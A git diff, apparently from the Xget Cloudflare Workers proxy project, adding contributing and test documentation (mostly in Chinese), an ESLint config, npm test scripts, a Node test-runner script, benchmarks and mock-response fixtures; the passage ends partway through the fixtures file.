保持 PR 的焦点明确,避免混合多个不相关的更改 + +## 🌟 贡献认可 + +### 贡献者列表 + +我们会在 README.md 中维护贡献者列表,感谢每一位贡献者的付出。 + +### 贡献统计 + +- 代码贡献会在 GitHub 贡献图中显示 +- 重要贡献会在 Release Notes 中特别提及 +- 长期贡献者可能被邀请成为项目维护者 + +## 📋 开发任务 + +### 当前优先级 + +1. **性能优化**: 提升缓存效率和响应速度 +2. **平台支持**: 添加新的代码托管和包管理平台 +3. **安全增强**: 加强请求验证和安全防护 +4. **监控改进**: 完善性能监控和错误追踪 + +### 适合新手的任务 + +查找标有 `good first issue` 标签的 issues,这些通常是: + +- 文档改进 +- 简单的 bug 修复 +- 代码格式化 +- 测试用例添加 + +## 🤔 获取帮助 + +### 沟通渠道 + +- **GitHub Issues**: 报告问题和功能请求 +- **GitHub Discussions**: 一般讨论和问答 +- **Email**: 敏感问题可发送至维护者邮箱 + +### 常见问题 + +**Q: 如何添加新平台支持?** +A: 编辑 `src/config/platforms.js` 文件,添加平台配置,然后更新相关文档和测试。 + +**Q: 如何测试 Cloudflare Workers 功能?** +A: 使用 `npm run dev` 启动本地开发服务器,或部署到 Cloudflare Workers 测试环境。 + +**Q: 如何处理跨域问题?** +A: 检查 CORS 配置,确保允许的源和方法设置正确。 + +## 📄 许可证 + +通过贡献代码,您同意您的贡献将在与项目相同的 [GPL-3.0 许可证](LICENSE) 下发布。 + +## 🙏 致谢 + +感谢所有为 Xget 项目做出贡献的开发者、测试者和用户。您的支持和反馈是项目持续改进的动力! + +--- + +如果您有任何问题或建议,请随时通过 GitHub Issues 或 Discussions 与我们联系。我们期待您的参与! diff --git a/README.md b/README.md index 7ddfa22..5a376e3 100644 --- a/README.md +++ b/README.md @@ -697,6 +697,61 @@ npx wrangler dev --log-level debug - **责任限制**:使用本服务造成的任何直接或间接损失,开发者不承担责任 - **第三方平台**:请尊重 GitHub、GitLab、Hugging Face 等平台的服务条款和速率限制 +## 🤝 贡献 + +我们欢迎各种形式的贡献!请查看 [贡献指南](CONTRIBUTING.md) 了解如何参与项目开发。 + +### 快速开始贡献 + +1. **报告问题**: 使用 [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose) 报告 bug 或提出功能请求 +2. **提交代码**: Fork 项目,创建功能分支,提交 Pull Request +3. **改进文档**: 修正错误、添加示例、完善说明 +4. **测试反馈**: 在不同环境下测试并提供反馈 + +### 开发环境 + +```bash +# 克隆项目 +git clone https://github.com/xixu-me/Xget.git +cd Xget + +# 安装依赖 +npm install + +# 启动开发服务器 +npm run dev + +# 运行测试 +npm test +``` + +## 🌟 Star 历史 + +[![Star History Chart](https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date)](https://star-history.com/#xixu-me/Xget&Date) + +## 🔗 相关链接 + +- **项目主页**: [GitHub Repository](https://github.com/xixu-me/Xget) +- **公共实例**: [xget.xi-xu.me](https://xget.xi-xu.me) +- **浏览器扩展**: [Xget for Chromium](https://github.com/xixu-me/Xget-for-Chromium) +- **问题反馈**: [GitHub Issues](https://github.com/xixu-me/Xget/issues) + +## 📞 联系方式 + +- **作者**: [Xi Xu](https://xi-xu.me) +- **邮箱**: [联系邮箱](mailto:contact@xi-xu.me) +- **赞助**: [赞助链接](https://xi-xu.me/#sponsorships) + ## 📝 许可证 本存储库采用 GPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。 + +--- + +
+ +**如果这个项目对您有帮助,请考虑给它一个 ⭐ Star!** + +Made with ❤️ by [Xi Xu](https://xi-xu.me) + +
diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 0000000..b2afb32 --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,176 @@ +import js from '@eslint/js'; + +export default [ + js.configs.recommended, + { + files: ['src/**/*.js', 'test/**/*.js'], + languageOptions: { + ecmaVersion: 2022, + sourceType: 'module', + globals: { + // Cloudflare Workers globals + addEventListener: 'readonly', + caches: 'readonly', + crypto: 'readonly', + fetch: 'readonly', + Request: 'readonly', + Response: 'readonly', + Headers: 'readonly', + URL: 'readonly', + URLSearchParams: 'readonly', + console: 'readonly', + + // Vitest globals + describe: 'readonly', + it: 'readonly', + expect: 'readonly', + beforeEach: 'readonly', + afterEach: 'readonly', + beforeAll: 'readonly', + afterAll: 'readonly', + vi: 'readonly' + } + }, + rules: { + // Code quality rules + 'no-unused-vars': ['error', { + argsIgnorePattern: '^_', + varsIgnorePattern: '^_' + }], + 'no-console': ['warn', { + allow: ['warn', 'error'] + }], + 'no-debugger': 'error', + 'no-alert': 'error', + + // Best practices + 'eqeqeq': ['error', 'always'], + 'curly': ['error', 'all'], + 'no-eval': 'error', + 'no-implied-eval': 'error', + 'no-new-func': 'error', + 'no-script-url': 'error', + 'no-self-compare': 'error', + 'no-sequences': 'error', + 'no-throw-literal': 'error', + 'no-unmodified-loop-condition': 'error', + 'no-unused-expressions': 'error', + 'no-useless-call': 'error', + 'no-useless-concat': 'error', + 'no-useless-return': 'error', + 'prefer-promise-reject-errors': 'error', + 'radix': 'error', + 'yoda': 'error', + + // Variables + 'no-delete-var': 'error', + 'no-label-var': 'error', + 'no-restricted-globals': 'error', + 'no-shadow': 'error', + 'no-shadow-restricted-names': 'error', + 'no-undef': 'error', + 'no-undef-init': 'error', + 'no-use-before-define': ['error', { + functions: false, + classes: true, + variables: true + }], + + // Stylistic issues + 'array-bracket-spacing': ['error', 'never'], + 'block-spacing': ['error', 'always'], + 'brace-style': ['error', '1tbs', { + allowSingleLine: true + }], + 'camelcase': ['error', { + properties: 'never' + }], + 'comma-dangle': ['error', 'never'], + 'comma-spacing': ['error', { + before: false, + after: true + }], + 'comma-style': ['error', 'last'], + 'computed-property-spacing': ['error', 'never'], + 'eol-last': ['error', 'always'], + 'func-call-spacing': ['error', 'never'], + 'indent': ['error', 2, { + SwitchCase: 1 + }], + 'key-spacing': ['error', { + beforeColon: false, + afterColon: true + }], + 'keyword-spacing': ['error', { + before: true, + after: true + }], + 'linebreak-style': ['error', 'unix'], + 'no-multiple-empty-lines': ['error', { + max: 2, + maxEOF: 1 + }], + 'no-trailing-spaces': 'error', + 'object-curly-spacing': ['error', 'always'], + 'quotes': ['error', 'single', { + avoidEscape: true + }], + 'semi': ['error', 'always'], + 'semi-spacing': ['error', { + before: false, + after: true + }], + 'space-before-blocks': ['error', 'always'], + 'space-before-function-paren': ['error', { + anonymous: 'always', + named: 'never', + asyncArrow: 'always' + }], + 'space-in-parens': ['error', 'never'], + 'space-infix-ops': 'error', + 'space-unary-ops': ['error', { + words: true, + nonwords: false + }], + + // ES6+ rules + 'arrow-spacing': ['error', { + before: true, + after: true + }], + 'constructor-super': 'error', + 'no-class-assign': 'error', + 'no-const-assign': 'error', + 'no-dupe-class-members': 'error', + 'no-duplicate-imports': 'error', + 'no-new-symbol': 'error', + 'no-this-before-super': 'error', + 'no-useless-computed-key': 'error', + 'no-useless-constructor': 'error', + 'no-useless-rename': 'error', + 'no-var': 'error', + 'object-shorthand': ['error', 'always'], + 'prefer-arrow-callback': 'error', + 'prefer-const': 'error', + 'prefer-destructuring': ['error', { + array: true, + object: true + }, { + enforceForRenamedProperties: false + }], + 'prefer-rest-params': 'error', + 'prefer-spread': 'error', + 'prefer-template': 'error', + 'rest-spread-spacing': ['error', 'never'], + 'template-curly-spacing': ['error', 'never'] + } + }, + { + files: ['test/**/*.js'], + rules: { + // Relax some rules for test files + 'no-console': 'off', + 'no-unused-expressions': 'off' + } + } +]; \ No newline at end of file diff --git a/package.json b/package.json index b6f2114..9ec7f5d 100644 --- a/package.json +++ b/package.json @@ -3,6 +3,11 @@ "xget": "file:" }, "devDependencies": { + "@cloudflare/vitest-pool-workers": "^0.5.0", + "@cloudflare/workers-types": "^4.20241218.0", + "eslint": "^9.17.0", + "prettier": "^3.4.2", + "vitest": "^2.1.8", "wrangler": "^4.18.0" }, "name": "xget", @@ -10,7 +15,21 @@ "scripts": { "deploy": "wrangler deploy", "dev": "wrangler dev", - "start": "wrangler dev" + "format": "node scripts/test.js format", + "format:check": "prettier --check src/ test/ *.js *.json *.md", + "lint": "node scripts/test.js lint", + "lint:fix": "eslint src/ test/ --fix", + "start": "wrangler dev", + "test": "node scripts/test.js run", + "test:bench": "node scripts/test.js bench", + "test:ci": "node scripts/test.js ci", + "test:clean": "node scripts/test.js clean", + "test:coverage": "node scripts/test.js coverage", + "test:run": "vitest run", + "test:setup": "node scripts/test.js setup", + "test:ui": "vitest --ui", + "test:watch": "node scripts/test.js watch", + "type-check": "tsc --noEmit" }, - "version": "0.0.0" -} + "version": "1.0.0" +} \ No newline at end of file diff --git a/scripts/test.js b/scripts/test.js new file mode 100644 index 0000000..b97149d --- /dev/null +++ b/scripts/test.js @@ -0,0 +1,335 @@ +#!/usr/bin/env node + +/** + * Test runner script with additional utilities + */ + +import { spawn } from 'child_process'; +import { existsSync, mkdirSync, writeFileSync } from 'fs'; +import { dirname, join } from 'path'; +import { fileURLToPath } from 'url'; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = dirname(__filename); +const rootDir = join(__dirname, '..'); + +// Test configuration +const TEST_CONFIG = { + timeout: 30000, + coverage: { + threshold: 80, + formats: ['text', 'html', 'lcov', 'json'] + }, + reporters: ['default', 'json'], + environments: ['node', 'workers'] +}; + +/** + * Main test runner + */ +async function main() { + const args = process.argv.slice(2); + const command = args[0] || 'run'; + + console.log('🧪 Xget Test Runner'); + console.log('=================='); + + try { + switch (command) { + case 'run': + await runTests(args.slice(1)); + break; + case 'watch': + await watchTests(args.slice(1)); + break; + case 'coverage': + await runCoverage(args.slice(1)); + break; + case 'bench': + await runBenchmarks(args.slice(1)); + break; + case 'lint': + await runLinting(); + break; + case 'format': + await runFormatting(); + break; + case 'ci': + await runCITests(); + break; + case 'setup': + await setupTestEnvironment(); + break; + case 'clean': + await cleanTestArtifacts(); + break; + default: + showHelp(); + } + } catch (error) { + console.error('❌ Test runner failed:', error.message); + process.exit(1); + } +} + +/** + * Run tests + */ +async function runTests(args = []) { + console.log('🏃 Running tests...'); + + const vitestArgs = [ + 'run', + '--config', 'vitest.config.js', + ...args + ]; + + await runCommand('npx', ['vitest', ...vitestArgs]); +} + +/** + * Watch tests + */ +async function watchTests(args = []) { + console.log('👀 Watching tests...'); + + const vitestArgs = [ + '--config', 'vitest.config.js', + '--watch', + ...args + ]; + + await runCommand('npx', ['vitest', ...vitestArgs]); +} + +/** + * Run coverage + */ +async function runCoverage(args = []) { + console.log('📊 Generating coverage report...'); + + const vitestArgs = [ + 'run', + '--config', 'vitest.config.js', + '--coverage', + ...args + ]; + + await runCommand('npx', ['vitest', ...vitestArgs]); + + console.log('📈 Coverage report generated in ./coverage/'); + + // Generate coverage summary + await generateCoverageSummary(); +} + +/** + * Run benchmarks + */ +async function runBenchmarks(args = []) { + console.log('⚡ Running performance benchmarks...'); + + const vitestArgs = [ + 'bench', + '--config', 'vitest.config.js', + ...args + ]; + + await runCommand('npx', ['vitest', ...vitestArgs]); +} + +/** + * Run linting + */ +async function runLinting() { + console.log('🔍 Running ESLint...'); + + await runCommand('npx', ['eslint', 'src/', 'test/', '--ext', '.js']); + + console.log('✅ Linting completed'); +} + +/** + * Run formatting + */ +async function runFormatting() { + console.log('💅 Running Prettier...'); + + await runCommand('npx', ['prettier', '--write', 'src/', 'test/', '*.js', '*.json', '*.md']); + + console.log('✅ Formatting completed'); +} + +/** + * Run CI tests + */ +async function runCITests() { + console.log('🤖 Running CI test suite...'); + + // Run linting + await runLinting(); + + // Check formatting + console.log('📝 Checking code formatting...'); + await runCommand('npx', ['prettier', '--check', 'src/', 'test/', '*.js', '*.json', '*.md']); + + // Run tests with coverage + await runCoverage(['--reporter=json', '--reporter=text']); + + // Run benchmarks + await runBenchmarks(['--reporter=json']); + + console.log('✅ CI test suite completed'); +} + +/** + * Setup test environment + */ +async function setupTestEnvironment() { + console.log('🔧 Setting up test environment...'); + + // Create necessary directories + const dirs = ['coverage', 'test/tmp', 'test/logs']; + dirs.forEach(dir => { + const fullPath = join(rootDir, dir); + if (!existsSync(fullPath)) { + mkdirSync(fullPath, { recursive: true }); + console.log(`📁 Created directory: ${dir}`); + } + }); + + // Create test configuration file + const testConfig = { + ...TEST_CONFIG, + timestamp: new Date().toISOString(), + version: process.env.npm_package_version || '1.0.0' + }; + + writeFileSync( + join(rootDir, 'test/config.json'), + JSON.stringify(testConfig, null, 2) + ); + + console.log('✅ Test environment setup completed'); +} + +/** + * Clean test artifacts + */ +async function cleanTestArtifacts() { + console.log('🧹 Cleaning test artifacts...'); + + const { rmSync } = await import('fs'); + const artifactDirs = ['coverage', 'test/tmp', 'test/logs']; + + artifactDirs.forEach(dir => { + const fullPath = join(rootDir, dir); + if (existsSync(fullPath)) { + rmSync(fullPath, { recursive: true, force: true }); + console.log(`🗑️ Removed: ${dir}`); + } + }); + + console.log('✅ Cleanup completed'); +} + +/** + * Generate coverage summary + */ +async function generateCoverageSummary() { + const coverageFile = join(rootDir, 'coverage/coverage-summary.json'); + + if (existsSync(coverageFile)) { + const { readFileSync } = await import('fs'); + const coverage = JSON.parse(readFileSync(coverageFile, 'utf8')); + + console.log('\n📊 Coverage Summary:'); + console.log('==================='); + + const total = coverage.total; + console.log(`Lines: ${total.lines.pct}% (${total.lines.covered}/${total.lines.total})`); + console.log(`Functions: ${total.functions.pct}% (${total.functions.covered}/${total.functions.total})`); + console.log(`Branches: ${total.branches.pct}% (${total.branches.covered}/${total.branches.total})`); + console.log(`Statements: ${total.statements.pct}% (${total.statements.covered}/${total.statements.total})`); + + // Check if coverage meets threshold + const threshold = TEST_CONFIG.coverage.threshold; + const meetsThreshold = [ + total.lines.pct >= threshold, + total.functions.pct >= threshold, + total.branches.pct >= threshold, + total.statements.pct >= threshold + ].every(Boolean); + + if (meetsThreshold) { + console.log(`\n✅ Coverage meets threshold (${threshold}%)`); + } else { + console.log(`\n⚠️ Coverage below threshold (${threshold}%)`); + } + } +} + +/** + * Run command with proper error handling + */ +function runCommand(command, args = [], options = {}) { + return new Promise((resolve, reject) => { + const child = spawn(command, args, { + stdio: 'inherit', + cwd: rootDir, + ...options + }); + + child.on('close', (code) => { + if (code === 0) { + resolve(); + } else { + reject(new Error(`Command failed with exit code ${code}`)); + } + }); + + child.on('error', (error) => { + reject(error); + }); + }); +} + +/** + * Show help information + */ +function showHelp() { + console.log(` +Usage: node scripts/test.js [options] + +Commands: + run [args] Run tests once (default) + watch [args] Run tests in watch mode + coverage Generate coverage report + bench Run performance benchmarks + lint Run ESLint + format Run Prettier + ci Run full CI test suite + setup Setup test environment + clean Clean test artifacts + help Show this help + +Examples: + node scripts/test.js run + node scripts/test.js watch --grep "GitHub" + node scripts/test.js coverage + node scripts/test.js ci + +Environment Variables: + VERBOSE_TESTS=true Enable verbose test output + TEST_TIMEOUT=30000 Set test timeout (ms) + NODE_ENV=test Set environment to test +`); +} + +// Run if called directly +if (import.meta.url === `file://${process.argv[1]}`) { + main().catch(console.error); +} + +export { main, runBenchmarks, runCoverage, runTests }; + diff --git a/test/README.md b/test/README.md new file mode 100644 index 0000000..b0ab048 --- /dev/null +++ b/test/README.md @@ -0,0 +1,368 @@ +# Xget 测试文档 + +本目录包含 Xget 项目的完整测试套件,涵盖单元测试、集成测试、性能测试和安全测试。 + +## 📁 目录结构 + +``` +test/ +├── benchmark/ # 性能基准测试 +│ └── performance.bench.js +├── fixtures/ # 测试数据和模拟响应 +│ └── responses.js +├── helpers/ # 测试工具和辅助函数 +│ └── test-utils.js +├── index.test.js # 核心功能测试 +├── integration.test.js # 集成测试 +├── performance.test.js # 性能监控测试 +├── platforms.test.js # 平台配置测试 +├── security.test.js # 安全功能测试 +├── utils.test.js # 工具函数测试 +├── setup.js # 测试环境设置 +└── README.md # 本文档 +``` + +## 🚀 运行测试 + +### 基本命令 + +```bash +# 运行所有测试 +npm test + +# 运行测试并监听文件变化 +npm run test:watch + +# 运行测试一次(CI 模式) +npm run test:run + +# 生成测试覆盖率报告 +npm run test:coverage + +# 运行性能基准测试 +npm run test:bench +``` + +### 运行特定测试 + +```bash +# 运行特定测试文件 +npm test -- index.test.js + +# 运行匹配模式的测试 +npm test -- --grep "GitHub" + +# 运行特定测试套件 +npm test -- --grep "Platform Configuration" +``` + +## 📋 测试类型 + +### 1. 单元测试 + +测试单个函数和模块的功能: + +- **index.test.js**: 核心请求处理逻辑 +- **platforms.test.js**: 平台配置和 URL 转换 +- **utils.test.js**: 工具函数和辅助方法 +- **performance.test.js**: 性能监控组件 + +### 2. 集成测试 + +测试组件间的交互和端到端流程: + +- **integration.test.js**: 完整的请求-响应流程测试 + +### 3. 安全测试 + +验证安全功能和防护机制: + +- **security.test.js**: 安全头、输入验证、防护机制 + +### 4. 性能测试 + +评估系统性能和基准: + +- **benchmark/performance.bench.js**: 性能基准测试 + +## 🛠️ 测试工具 + +### 测试辅助函数 + +`test/helpers/test-utils.js` 提供了丰富的测试工具: + +```javascript +import { + createMockRequest, + createMockResponse, + createGitRequest, + TEST_URLS, + PerformanceTestHelper +} from './helpers/test-utils.js'; + +// 创建模拟请求 +const request = createMockRequest('https://example.com/gh/user/repo'); + +// 创建 Git 请求 +const gitRequest = createGitRequest('https://example.com/gh/user/repo.git'); + +// 性能测试 +const perfHelper = new PerformanceTestHelper(); +await perfHelper.measure(async () => { + // 测试代码 +}, 'operation-name'); +``` + +### 模拟数据 + +`test/fixtures/responses.js` 包含预定义的响应数据: + +```javascript +import { MOCK_RESPONSES, createMockResponse } from './fixtures/responses.js'; + +// 使用预定义的响应 +const response = createMockResponse(MOCK_RESPONSES.github.packageJson); +``` + +## 📊 测试覆盖率 + +项目设置了以下覆盖率目标: + +- **分支覆盖率**: 80% +- **函数覆盖率**: 80% +- **行覆盖率**: 80% +- **语句覆盖率**: 80% + +查看覆盖率报告: + +```bash +npm run test:coverage +open coverage/index.html +``` + +## 🔧 测试配置 + +### Vitest 配置 + +测试使用 Vitest 和 Cloudflare Workers 测试池: + +```javascript +// vitest.config.js +export default defineWorkersConfig({ + test: { + poolOptions: { + workers: { + wrangler: { configPath: './wrangler.toml' }, + }, + }, + coverage: { + provider: 'v8', + thresholds: { + global: { + branches: 80, + functions: 80, + lines: 80, + statements: 80 + } + } + } + } +}); +``` + +### 环境变量 + +测试支持以下环境变量: + +- `NODE_ENV=test`: 测试环境标识 +- `VERBOSE_TESTS=true`: 启用详细测试输出 +- `TEST_TIMEOUT=30000`: 测试超时时间(毫秒) + +## 📝 编写测试 + +### 基本测试结构 + +```javascript +import { describe, it, expect } from 'vitest'; +import { SELF } from 'cloudflare:test'; + +describe('功能模块', () => { + describe('子功能', () => { + it('应该正确处理正常情况', async () => { + const response = await SELF.fetch('https://example.com/test'); + expect(response.status).toBe(200); + }); + + it('应该正确处理错误情况', async () => { + const response = await SELF.fetch('https://example.com/invalid'); + expect(response.status).toBe(400); + }); + }); +}); +``` + +### 异步测试 + +```javascript +it('应该处理异步操作', async () => { + const startTime = Date.now(); + const response = await SELF.fetch('https://example.com/test'); + const endTime = Date.now(); + + expect(response.status).toBe(200); + expect(endTime - startTime).toBeLessThan(5000); +}); +``` + +### 错误测试 + +```javascript +it('应该抛出预期的错误', async () => { + await expect(async () => { + await SELF.fetch('https://example.com/error'); + }).rejects.toThrow('Expected error message'); +}); +``` + +## 🐛 调试测试 + +### 启用详细输出 + +```bash +VERBOSE_TESTS=true npm test +``` + +### 调试特定测试 + +```bash +# 只运行失败的测试 +npm test -- --reporter=verbose --bail + +# 运行特定测试并显示详细信息 +npm test -- --grep "specific test" --reporter=verbose +``` + +### 使用调试器 + +```javascript +import { describe, it, expect } from 'vitest'; + +it('调试测试', async () => { + debugger; // 在浏览器开发工具中设置断点 + const response = await SELF.fetch('https://example.com/test'); + console.log('Response:', response); // 临时调试输出 + expect(response.status).toBe(200); +}); +``` + +## 📈 性能测试 + +### 基准测试 + +```bash +# 运行性能基准测试 +npm run test:bench + +# 比较性能结果 +npm run test:bench -- --compare +``` + +### 性能监控 + +```javascript +import { PerformanceTestHelper } from './helpers/test-utils.js'; + +const perfHelper = new PerformanceTestHelper(); + +it('应该在合理时间内完成', async () => { + const result = await perfHelper.measure(async () => { + return await SELF.fetch('https://example.com/test'); + }, 'request-time'); + + const metrics = perfHelper.getMeasurements(); + expect(metrics[0].duration).toBeLessThan(1000); // 1秒内完成 +}); +``` + +## 🔒 安全测试 + +### 输入验证测试 + +```javascript +import { SECURITY_PAYLOADS } from './helpers/test-utils.js'; + +describe('安全测试', () => { + it('应该防止 XSS 攻击', async () => { + for (const payload of SECURITY_PAYLOADS.xss) { + const response = await SELF.fetch(`https://example.com/gh/${payload}`); + expect(response.status).not.toBe(500); // 不应该导致服务器错误 + } + }); +}); +``` + +### 安全头验证 + +```javascript +import { validateSecurityHeaders } from './helpers/test-utils.js'; + +it('应该包含所有安全头', async () => { + const response = await SELF.fetch('https://example.com/test'); + const validation = validateSecurityHeaders(response); + + expect(validation.passed).toBe(true); + expect(validation.missing).toHaveLength(0); +}); +``` + +## 📚 最佳实践 + +### 1. 测试命名 + +- 使用描述性的测试名称 +- 遵循 "应该...当...时" 的格式 +- 使用中文描述更清晰 + +### 2. 测试组织 + +- 按功能模块组织测试 +- 使用 `describe` 嵌套分组 +- 保持测试独立性 + +### 3. 断言 + +- 使用具体的断言 +- 测试边界条件 +- 验证错误情况 + +### 4. 性能 + +- 避免不必要的异步操作 +- 使用模拟数据减少网络请求 +- 设置合理的超时时间 + +### 5. 维护 + +- 定期更新测试数据 +- 清理过时的测试 +- 保持测试覆盖率 + +## 🤝 贡献测试 + +### 添加新测试 + +1. 确定测试类型和位置 +2. 使用现有的测试工具 +3. 遵循项目的测试风格 +4. 确保测试通过且有意义 + +### 修复测试 + +1. 理解测试失败的原因 +2. 修复代码或更新测试 +3. 验证修复不会破坏其他测试 +4. 更新相关文档 + +--- + +如有问题或建议,请查看 [贡献指南](../CONTRIBUTING.md) 或提交 [Issue](https://github.com/xixu-me/Xget/issues)。 diff --git a/test/benchmark/performance.bench.js b/test/benchmark/performance.bench.js new file mode 100644 index 0000000..77d9a8e --- /dev/null +++ b/test/benchmark/performance.bench.js @@ -0,0 +1,213 @@ +import { SELF } from 'cloudflare:test'; +import { bench, describe } from 'vitest'; +import { PerformanceTestHelper, TEST_URLS } from '../helpers/test-utils.js'; + +describe('Performance Benchmarks', () => { + const perfHelper = new PerformanceTestHelper(); + + describe('Request Processing Speed', () => { + bench('Basic request handling', async () => { + await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }); + }); + + bench('GitHub file request', async () => { + await SELF.fetch(TEST_URLS.github.file, { + method: 'HEAD' + }); + }); + + bench('GitLab file request', async () => { + await SELF.fetch(TEST_URLS.gitlab.file, { + method: 'HEAD' + }); + }); + + bench('Hugging Face model request', async () => { + await SELF.fetch(TEST_URLS.huggingface.model, { + method: 'HEAD' + }); + }); + + bench('npm package request', async () => { + await SELF.fetch(TEST_URLS.npm.package, { + method: 'HEAD' + }); + }); + + bench('PyPI package request', async () => { + await SELF.fetch(TEST_URLS.pypi.simple, { + method: 'HEAD' + }); + }); + + bench('conda package request', async () => { + await SELF.fetch(TEST_URLS.conda.main, { + method: 'HEAD' + }); + }); + }); + + describe('Git Protocol Performance', () => { + bench('Git info/refs request', async () => { + await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { + headers: { + 'User-Agent': 'git/2.34.1' + } + }); + }); + + bench('Git upload-pack request', async () => { + await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', { + method: 'POST', + headers: { + 'User-Agent': 'git/2.34.1', + 'Content-Type': 'application/x-git-upload-pack-request' + }, + body: '0000' + }); + }); + }); + + describe('Security Header Processing', () => { + bench('Security headers addition', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); + + // Verify headers are present (this adds to processing time) + response.headers.get('Strict-Transport-Security'); + response.headers.get('X-Frame-Options'); + response.headers.get('X-XSS-Protection'); + response.headers.get('Content-Security-Policy'); + response.headers.get('Referrer-Policy'); + }); + }); + + describe('Error Handling Performance', () => { + bench('404 error handling', async () => { + await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt'); + }); + + bench('400 error handling', async () => { + await SELF.fetch('https://example.com/invalid-platform/test'); + }); + + bench('405 error handling', async () => { + await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'DELETE' + }); + }); + }); + + describe('Concurrent Request Handling', () => { + bench('10 concurrent requests', async () => { + const requests = Array(10).fill().map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + + await Promise.all(requests); + }); + + bench('50 concurrent requests', async () => { + const requests = Array(50).fill().map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + + await Promise.all(requests); + }); + }); + + describe('Path Processing Performance', () => { + bench('Short path processing', async () => { + await SELF.fetch('https://example.com/gh/a/b', { + method: 'HEAD' + }); + }); + + bench('Medium path processing', async () => { + await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', { + method: 'HEAD' + }); + }); + + bench('Long path processing', async () => { + const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt'; + await SELF.fetch(`https://example.com${longPath}`, { + method: 'HEAD' + }); + }); + }); + + describe('URL Parsing Performance', () => { + bench('Simple URL parsing', async () => { + await SELF.fetch('https://example.com/gh/user/repo'); + }); + + bench('URL with query parameters', async () => { + await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src'); + }); + + bench('URL with fragments', async () => { + await SELF.fetch('https://example.com/gh/user/repo/README.md#section'); + }); + + bench('Complex URL parsing', async () => { + await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'); + }); + }); + + describe('Memory Usage Patterns', () => { + bench('Request object creation', async () => { + const request = new Request('https://example.com/gh/test/repo/file.txt', { + method: 'GET', + headers: { + 'User-Agent': 'Test/1.0', + 'Accept': '*/*' + } + }); + + // Process the request + await SELF.fetch(request); + }); + + bench('Response object processing', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); + + // Access various response properties + response.status; + response.statusText; + response.headers.get('Content-Type'); + response.headers.get('X-Performance-Metrics'); + }); + }); + + describe('Platform-Specific Performance', () => { + bench('GitHub platform processing', async () => { + await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json'); + }); + + bench('GitLab platform processing', async () => { + await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json'); + }); + + bench('Hugging Face platform processing', async () => { + await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'); + }); + + bench('npm platform processing', async () => { + await SELF.fetch('https://example.com/npm/react'); + }); + + bench('PyPI platform processing', async () => { + await SELF.fetch('https://example.com/pypi/simple/requests/'); + }); + + bench('conda platform processing', async () => { + await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda'); + }); + }); +}); \ No newline at end of file diff --git a/test/fixtures/responses.js b/test/fixtures/responses.js new file mode 100644 index 0000000..1b5f60e --- /dev/null +++ b/test/fixtures/responses.js @@ -0,0 +1,389 @@ +/** + * Mock response fixtures for testing + */ + +export const MOCK_RESPONSES = { + github: { + packageJson: { + status: 200, + headers: { + 'Content-Type': 'application/json', + 'Cache-Control': 'max-age=300' + }, + body: JSON.stringify({ + name: 'vscode', + version: '1.85.0', + description: 'Visual Studio Code', + main: './out/main.js', + scripts: { + test: 'npm test' + } + }) + }, + + readme: { + status: 200, + headers: { + 'Content-Type': 'text/plain; charset=utf-8' + }, + body: '# Visual Studio Code\n\nCode editing. Redefined.' + }, + + release: { + status: 200, + headers: { + 'Content-Type': 'application/octet-stream', + 'Content-Length': '123456789', + 'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"' + }, + body: 'binary-data-placeholder' + }, + + notFound: { + status: 404, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Not Found' + }, + + gitInfoRefs: { + status: 200, + headers: { + 'Content-Type': 'application/x-git-upload-pack-advertisement', + 'Cache-Control': 'no-cache' + }, + body: '001e# service=git-upload-pack\n0000009144b8c8cf...' + } + }, + + gitlab: { + packageJson: { + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + name: 'gitlab', + version: '16.0.0', + description: 'GitLab Community Edition' + }) + }, + + archive: { + status: 200, + headers: { + 'Content-Type': 'application/zip', + 'Content-Disposition': 'attachment; filename="gitlab-master.zip"' + }, + body: 'zip-data-placeholder' + } + }, + + huggingface: { + modelConfig: { + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + architectures: ['GPT2LMHeadModel'], + model_type: 'gpt2', + vocab_size: 50257, + n_positions: 1024, + n_ctx: 1024, + n_embd: 1024, + n_layer: 24, + n_head: 16 + }) + }, + + modelFile: { + status: 200, + headers: { + 'Content-Type': 'application/octet-stream', + 'Content-Length': '987654321' + }, + body: 'model-binary-data-placeholder' + }, + + datasetFile: { + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + data: [ + { question: 'What is AI?', answer: 'Artificial Intelligence...' }, + { question: 'What is ML?', answer: 'Machine Learning...' } + ] + }) + } + }, + + npm: { + packageMetadata: { + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + name: 'react', + version: '18.2.0', + description: 'React is a JavaScript library for building user interfaces.', + main: 'index.js', + repository: { + type: 'git', + url: 'https://github.com/facebook/react.git' + }, + keywords: ['react', 'javascript', 'ui'], + license: 'MIT' + }) + }, + + packageTarball: { + status: 200, + headers: { + 'Content-Type': 'application/octet-stream', + 